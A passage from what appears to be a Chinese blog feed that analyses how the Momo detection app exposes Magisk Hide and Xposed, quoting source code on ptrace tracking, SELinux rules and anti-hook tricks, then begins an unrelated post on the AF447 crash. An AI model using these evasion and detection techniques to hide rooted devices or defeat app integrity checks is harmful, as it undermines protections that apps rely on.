class="keyword">int</span> pid = waitpid(<span class="number">-1</span>, &status, __WALL | __WNOTHREAD);</span><br><span class="line"> <span class="keyword">if</span> (pid < <span class="number">0</span>) {</span><br><span class="line"> <span class="comment">// 省略...</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!WIFSTOPPED(status) <span class="comment">/* Ignore if not ptrace-stop */</span>)</span><br><span class="line"> DETACH_AND_CONT;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> event = WEVENT(status);</span><br><span class="line"> <span class="keyword">int</span> signal = WSTOPSIG(status);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (signal == SIGTRAP && event) {</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> msg;</span><br><span class="line"> xptrace(PTRACE_GETEVENTMSG, pid, <span class="literal">nullptr</span>, &msg);</span><br><span class="line"> <span class="keyword">if</span> (zygote_map.count(pid)) {</span><br><span class="line"> <span class="comment">// Zygote event</span></span><br><span class="line"> <span class="keyword">switch</span> (event) {</span><br><span class="line"> <span class="keyword">case</span> PTRACE_EVENT_FORK:</span><br><span class="line"> <span class="keyword">case</span> PTRACE_EVENT_VFORK:</span><br><span class="line"> PTRACE_LOG(<span class="string">"zygote forked: [%lu]\n"</span>, msg);</span><br><span class="line"> attaches[msg] = <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">switch</span> (event) {</span><br><span class="line"> <span class="keyword">case</span> PTRACE_EVENT_CLONE:</span><br><span class="line"> PTRACE_LOG(<span class="string">"create new threads: [%lu]\n"</span>, msg);</span><br><span class="line"> <span class="keyword">if</span> (attaches[pid] && check_pid(pid)) <span class="comment">// 这里就会实际hide magisk</span></span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> xptrace(PTRACE_CONT, pid);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (signal == SIGSTOP) {</span><br><span class="line"> <span class="keyword">if</span> (!attaches[pid]) {</span><br><span class="line"> <span class="comment">// Double check if this is actually a process</span></span><br><span class="line"> attaches[pid] = is_process(pid);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (attaches[pid]) {</span><br><span class="line"> <span class="comment">// This is a process, continue monitoring</span></span><br><span class="line"> PTRACE_LOG(<span class="string">"SIGSTOP from child\n"</span>);</span><br><span class="line"> xptrace(PTRACE_SETOPTIONS, pid, <span class="literal">nullptr</span>,</span><br><span class="line"> PTRACE_O_TRACECLONE | PTRACE_O_TRACEEXEC | PTRACE_O_TRACEEXIT);</span><br><span class="line"> xptrace(PTRACE_CONT, pid);</span><br><span class="line"> } <span class="comment">// ...</span></span><br><span class="line"> } <span class="comment">// ...</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看见,magisk hide通过ptrace机制跟踪所有zygote,通过<code>cat /proc/<pid>/status</code>看见TracerPid也可以证实我们的发现。子进程的第一个线程创建时,对其实际进行hide。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">check_pid</span><span class="params">(<span class="keyword">int</span> pid)</span> </span>{</span><br><span class="line"> <span class="keyword">char</span> path[<span class="number">128</span>];</span><br><span class="line"> <span class="keyword">char</span> cmdline[<span class="number">1024</span>];</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">st</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">sprintf</span>(path, <span class="string">"/proc/%d/cmdline"</span>, pid);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">auto</span> f = open_file(path, <span class="string">"re"</span>)) {</span><br><span class="line"> fgets(cmdline, <span class="keyword">sizeof</span>(cmdline), f.get());</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Process died unexpectedly, ignore</span></span><br><span class="line"> detach_pid(pid);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (cmdline == <span class="string">"zygote"</span>sv || cmdline == <span class="string">"zygote32"</span>sv || cmdline == <span class="string">"zygote64"</span>sv ||</span><br><span class="line"> cmdline == <span class="string">"usap32"</span>sv || cmdline == <span class="string">"usap64"</span>sv)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 通过uid和进程名判断是否需要hide</span></span><br><span class="line"> <span class="keyword">if</span> (!is_hide_target(uid, cmdline))</span><br><span class="line"> <span class="keyword">goto</span> not_target;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 如果命名空间未分离,进行unmount会影响到zygote从而影响到而后启动的所有进程,跳过</span></span><br><span class="line"> read_ns(pid, &st);</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> &zit : zygote_map) {</span><br><span class="line"> <span class="keyword">if</span> (zit.second.st_ino == st.st_ino &&</span><br><span class="line"> zit.second.st_dev == st.st_dev) {</span><br><span class="line"> <span class="comment">// ns not separated, abort</span></span><br><span class="line"> LOGW(<span class="string">"proc_monitor: skip [%s] PID=[%d] UID=[%d]\n"</span>, cmdline, pid, uid);</span><br><span class="line"> <span class="keyword">goto</span> not_target;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Detach but the process should still remain stopped</span></span><br><span class="line"> <span class="comment">// The hide daemon will resume the process after hiding it</span></span><br><span class="line"> LOGI(<span class="string">"proc_monitor: [%s] PID=[%d] UID=[%d]\n"</span>, cmdline, pid, uid);</span><br><span class="line"> detach_pid(pid, SIGSTOP);</span><br><span class="line"> hide_daemon(pid);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">not_target:</span><br><span class="line"> PTRACE_LOG(<span class="string">"[%s] is not our target\n"</span>, cmdline);</span><br><span class="line"> detach_pid(pid);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>hide_daemon里会fork一个新的进程,setns到目标进程的命名空间,然后卸载所有被magisk修改过的东西。注意,里面有个if判断,如果命名空间未分离,进行unmount会影响到zygote从而影响到而后启动的所有进程,那么直接跳过。这就是Magisk Hide的第一个问题。</p><p>在MagiskDetector的<a href="https://github.com/vvb2060/MagiskDetector/blob/master/README_ZH.md#%E5%8F%8Dmagisk-hide" target="_blank" rel="noopener">实现细节介绍</a>里说明了有两种情况符合:</p><blockquote><p>一个是应用appops的读取存储空间op为忽略,一个是该进程为隔离进程。</p></blockquote><p>此处的隔离进程指的就是配置了 <code>android:isolatedProcess="true"</code>的service。而且,Android 10上还有一种有(私)趣(货)的东西,叫做App Zygote,这玩意几乎找不到说明,唯一的文档就是<a href="https://developer.android.google.cn/reference/android/app/ZygotePreload" target="_blank" rel="noopener">ZygotePreload</a>,感觉更像谷歌给Chrome开的后门。咳咳,偏题了,这玩意运行在一个单独的进程,也不会分离命名空间。</p><p>目前已知解决此问题的方案有两种,第一种就是<a href="https://github.com/vvb2060/Magisk/tree/lite" target="_blank" rel="noopener">Magisk Lite</a>,直接对zygote卸载而非应用,但这种方式会破坏很多现有模块;另一种就是利用进程注入,强行分离命名空间,典型的解决方案是<a href="https://github.com/vvb2060/riru-unshare" target="_blank" rel="noopener">Riru-Unshare</a>。</p><p>好的,这个问题说完了,下一个~~</p><p>在上面的判断代码里,读取进程名部分,是通过读取<code>/proc/<pid>/cmdline</code>进行判断的;而实际上,这个文件内容的长度是有限制的!这表示,当配置的进程名过长时,Magisk读取到的进程名会不匹配,从而跳过这个进程!这也就是<a href="https://github.com/topjohnwu/Magisk/issues/3997" target="_blank" rel="noopener">Issue #3997</a>的原理。Magisk对此做了临时修复:如果前缀匹配就直接认为是目标进程进行hide。</p><p>完了吗?没有。下一个问题在把进程添加到数据库的时候:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">add_list</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *pkg, <span class="keyword">const</span> <span class="keyword">char</span> *proc)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (proc[<span class="number">0</span>] == <span class="string">'\0'</span>)</span><br><span class="line"> proc = pkg;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!validate(pkg) || !validate(proc))</span><br><span class="line"> <span class="keyword">return</span> HIDE_INVALID_PKG;</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">validate</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *s)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(s, ISOLATED_MAGIC) == <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">bool</span> dot = <span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">char</span> c; (c = *s); ++s) {</span><br><span class="line"> <span class="keyword">if</span> ((c >= <span class="string">'A'</span> && c <= <span class="string">'Z'</span>) || (c >= <span class="string">'a'</span> && c <= <span class="string">'z'</span>) ||</span><br><span class="line"> (c >= <span class="string">'0'</span> && c <= <span class="string">'9'</span>) || c == <span class="string">'_'</span> || c == <span class="string">':'</span>) {</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (c == <span class="string">'.'</span>) {</span><br><span class="line"> dot = <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> dot;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里会对包名和进程名进行检查,如果含有非法字符或者没有点,那么认为是无效进程。Android对包名有严格规定,通过<code>android:process</code>配置的进程名也有规定,似乎无法作妖?然而问题确实发生了:<a href="https://github.com/topjohnwu/Magisk/issues/4176" target="_blank" rel="noopener">Issue #4176</a>。</p><p>经过检查,该应用程序使用了隔离进程来检查Magisk,但不同的是,其服务类名含有非法字符(Java并没有限制类名),且Android 10+,系统会给隔离进程的名字追加类名(<a href="https://t.me/vvb2060Channel/441),导致检查不通过。解决方法也很简单,修改一下这个validate就好。" target="_blank" rel="noopener">https://t.me/vvb2060Channel/441),导致检查不通过。解决方法也很简单,修改一下这个validate就好。</a></p><h3 id="检测init-rc的修改:"><a href="#检测init-rc的修改:" class="headerlink" title="检测init.rc的修改:"></a>检测init.rc的修改:</h3><blockquote><p>随机只有在无法遍历的情况下才有效。如果可以遍历,使用统计方法即可准确找出每次都不一样的东西。</p></blockquote><p>这句话看着有点迷惑,看看Magisk源码就知道了。<a href="https://github.com/topjohnwu/Magisk/blob/master/native/jni/init/rootdir.cpp#L45:" target="_blank" rel="noopener">https://github.com/topjohnwu/Magisk/blob/master/native/jni/init/rootdir.cpp#L45:</a></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Inject Magisk rc scripts</span></span><br><span class="line"><span class="keyword">char</span> pfd_svc[<span class="number">16</span>], ls_svc[<span class="number">16</span>], bc_svc[<span class="number">16</span>];</span><br><span class="line">gen_rand_str(pfd_svc, <span class="keyword">sizeof</span>(pfd_svc));</span><br><span class="line">gen_rand_str(ls_svc, <span class="keyword">sizeof</span>(ls_svc));</span><br><span class="line">gen_rand_str(bc_svc, <span class="keyword">sizeof</span>(bc_svc));</span><br><span class="line">LOGD(<span class="string">"Inject magisk services: [%s] [%s] [%s]\n"</span>, pfd_svc, ls_svc, bc_svc);</span><br><span class="line"><span class="built_in">fprintf</span>(rc, MAGISK_RC, tmp_dir, pfd_svc, ls_svc, bc_svc);</span><br></pre></td></tr></table></figure><p>Magisk在启动时会往init.rc中注入三个自己的服务,用来接收post-fs-data等事件;这三个服务的名称是做了随机化处理,而init实际上会往系统属性里添加像<code>init.svc.<service name></code>这样子的属性,值是running或者stopped,以告诉其他进程该服务的状态。MagiskDetector就利用了这个机制,遍历系统属性记录所有服务名,然后在用户重启之后就能知道是否有服务的名称发生了变化。</p><h3 id="检测SELinux规则"><a href="#检测SELinux规则" class="headerlink" title="检测SELinux规则"></a>检测SELinux规则</h3><p><a href="https://github.com/topjohnwu/Magisk/blob/master/native/jni/magiskpolicy/rules.cpp" target="_blank" rel="noopener">https://github.com/topjohnwu/Magisk/blob/master/native/jni/magiskpolicy/rules.cpp</a></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Allow these processes to access MagiskSU</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span> *clients[] { <span class="string">"init"</span>, <span class="string">"shell"</span>, <span class="string">"appdomain"</span>, <span class="string">"zygote"</span> };</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">auto</span> type : clients) {</span><br><span class="line"> <span class="keyword">if</span> (!exists(type))</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> allow(type, SEPOL_PROC_DOMAIN, <span class="string">"unix_stream_socket"</span>, <span class="string">"connectto"</span>);</span><br><span class="line"> allow(type, SEPOL_PROC_DOMAIN, <span class="string">"unix_stream_socket"</span>, <span class="string">"getopt"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Allow termios ioctl</span></span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> *pts[] { <span class="string">"devpts"</span>, <span class="string">"untrusted_app_devpts"</span> };</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> pts_type : pts) {</span><br><span class="line"> allow(type, pts_type, <span class="string">"chr_file"</span>, <span class="string">"ioctl"</span>);</span><br><span class="line"> <span class="keyword">if</span> (db->policyvers >= POLICYDB_VERSION_XPERMS_IOCTL)</span><br><span class="line"> allowxperm(type, pts_type, <span class="string">"chr_file"</span>, <span class="string">"0x5400-0x54FF"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>由于Magisk允许了一些ioctl,所以会被检测到。解决方法是,更新到Android 8+ & Magisk 21+,Magisk会自动使用新的规则。</p><p>同时,不仅仅是Magisk自身的锅,错误使用SELinux也可能会造成Magisk被轻易检测到。举例:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">type(SEPOL_PROC_DOMAIN, <span class="string">"domain"</span>);</span><br><span class="line">type(SEPOL_FILE_TYPE, <span class="string">"file_type"</span>);</span><br></pre></td></tr></table></figure><p>加了两个magisk自己的domain,看起来没问题,但是,如果用户把selinux设置为宽容模式(permissive),那么app可以进行<code>selinux_check_access()</code>(java层对应的接口为<code>SELinux.checkSELinuxAccess()</code>),如果获得允许,那么代表这个domain存在 => 安装了Magisk。</p><p>不只是宽容模式,如果添加了<code>allow appdomain xxx relabelfrom</code>之类的规则,又没有<code>deny appdomain magisk_file relabelto</code>,则app可能把某个文件的context给chcon成<code>magisk_file</code>,然后通过尝试操作这个文件判断有没有被拒绝就可以测试出系统中有没有这个domain。</p><p><strong>SELinux是Android安全机制中的重要组成部分,强烈反对将其设置为宽容模式或忽略neverallow随意添加规则。</strong></p><h3 id="题外话:检测-magiskd"><a href="#题外话:检测-magiskd" class="headerlink" title="题外话:检测 magiskd"></a>题外话:检测 magiskd</h3><p>虽然 MagiskDetector 没有使用这个方法,但觉得有点意思,可以拿出来讲一讲。<br>Android 7之前,<code>/proc</code>没有限制,任何人都能遍历获得进程列表;在7的时候,加了<code>hidepid=2</code>,但并不是所有厂商都跟上了;对于这些设备,扫一下看看有没有个叫<code>magiskd</code>的进程就能确定有没有magisk。</p><h2 id="Xposed"><a href="#Xposed" class="headerlink" title="Xposed"></a>Xposed</h2><h3 id="检测-Xposed"><a href="#检测-Xposed" class="headerlink" title="检测 Xposed"></a>检测 Xposed</h3><p>原版 Xposed 框架将自己的类加入到bootclasspath中,这导致任何人都能轻易找到。之后,大家都选择把 classloader 隔离开来,让检测没有那么容易;但是,只要它存在于内存中,那就可以被找到。XposedDetector的原理很简单,通过art的一个内部接口(VisitRoots),找到堆里的所有ClassLoader,然后一个一个尝试。目前lsp、edxp、梦境等都选择只在目标应用加载,以阻止误伤。把这个函数hook了当然可以,但我们并不想玩这种猫鼠游戏,只能保证非目标应用的环境不被修改。</p><h3 id="反-Xposed-Hook"><a href="#反-Xposed-Hook" class="headerlink" title="反 Xposed Hook"></a>反 Xposed Hook</h3><p>XposedDetector的做法是,通过上面的方法,可以找到当前进程里的所有类,依据此法找到 XposedBridge 把 <code>disableHooks</code> 和 <code>sHookedMethodCallbacks</code> 改掉就可以。</p><p>实际上,还有很多其他方法:<br>除了原版xposed和0.5之前的edxposed,其他框架基本都直接忽略隔离进程,可以把重要的东西放在隔离进程。</p><p>通过 Xposed hook 一个方法,最终都会走到这个方法:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> XC_MethodHook.<span class="function">Unhook <span class="title">hookMethod</span><span class="params">(Member hookMethod, XC_MethodHook callback)</span> </span>{</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (hookMethod.getDeclaringClass().isInterface()) {</span><br><span class="line"><span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"Cannot hook interfaces: "</span> + hookMethod.toString());</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这段检查在Android 7之后是有问题的,因为Android 7支持了一个Java 8特性,叫做interface default method。interface不再只能“说空话”,而也能有自己的方法体,而实现类只要不重写,该方法的declaring class就是interface,Xposed进行hook时就会抛出异常。</p><p>Xposed和各路实现基本原理都是对<code>entry_point_from_quick_compiled_code_</code>这个成员动手脚,可以直接修改这个成员也可以inline hook;而在art中有一个“万能入口”:解释执行入口,通过设置方法入口为解释执行可以使得 Xposed hook 失效,但对 Frida 这种修改了解释器的无效。</p>]]></content>
<summary type="html">
<p>不久前,开发者Rikka &amp; vvb2060上架了一款环境检测应用<a href="https://www.coolapk.com/apk/io.github.vvb2060.mahoshojo" target="_blank" rel="noopener">Momo</a>,把大家一直以来信任的各种反检测手段击得粉碎。下面我会通过部分已公开的源码,分析这个可能是史上最强的环境检测应用。</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="xposed" scheme="https://blog.canyie.top/tags/xposed/"/>
<category term="magisk" scheme="https://blog.canyie.top/tags/magisk/"/>
</entry>
<entry>
<title>《空中浩劫》里的法航447</title>
<link href="https://blog.canyie.top/2020/08/20/af447-in-aci/"/>
<id>https://blog.canyie.top/2020/08/20/af447-in-aci/</id>
<published>2020-08-20T03:08:17.000Z</published>
<updated>2020-08-20T08:29:39.947Z</updated>
<content type="html"><![CDATA[<p>2009年6月1日(UTC时间),法国航空447号班机(机型空中客车A330-203、注册号F-GZCP)在大西洋中部雷达盲区神秘失踪,后被证实坠毁,机上228人(乘客216人、机组成员12人)全数罹难。著名空难文献剧《Air Crash Investigation》(中文一般译为《空中浩劫》,以下简称ACI)在S12E13中收录了此事故,揭露了所谓的“空难真相”,将矛头直指副驾驶皮埃尔-塞德里克·博南(Pierre Cédric Bonin);同时,由于该片的知名度,让许多航空爱好者乃至真正的航空从业者认为该片所述即为事实。然而,真的是这样吗?</p><a id="more"></a><p>(注:本文主要内容将对比《空中浩劫》中所述与事实进行对比,不继续深入探讨飞机失事的深层原因;本文内容基于官方调查报告及官方黑匣子数据;如无特别说明,本文所有时间都采用UTC时间)。</p><p>在空难发生前几分钟,冰晶堵塞了皮托管,导致空速读数不一致,飞机的自动驾驶仪立刻断开,同时保护法则切换至备用。此时博南接手控制并开始拉杆。<br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/1-3-aci.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7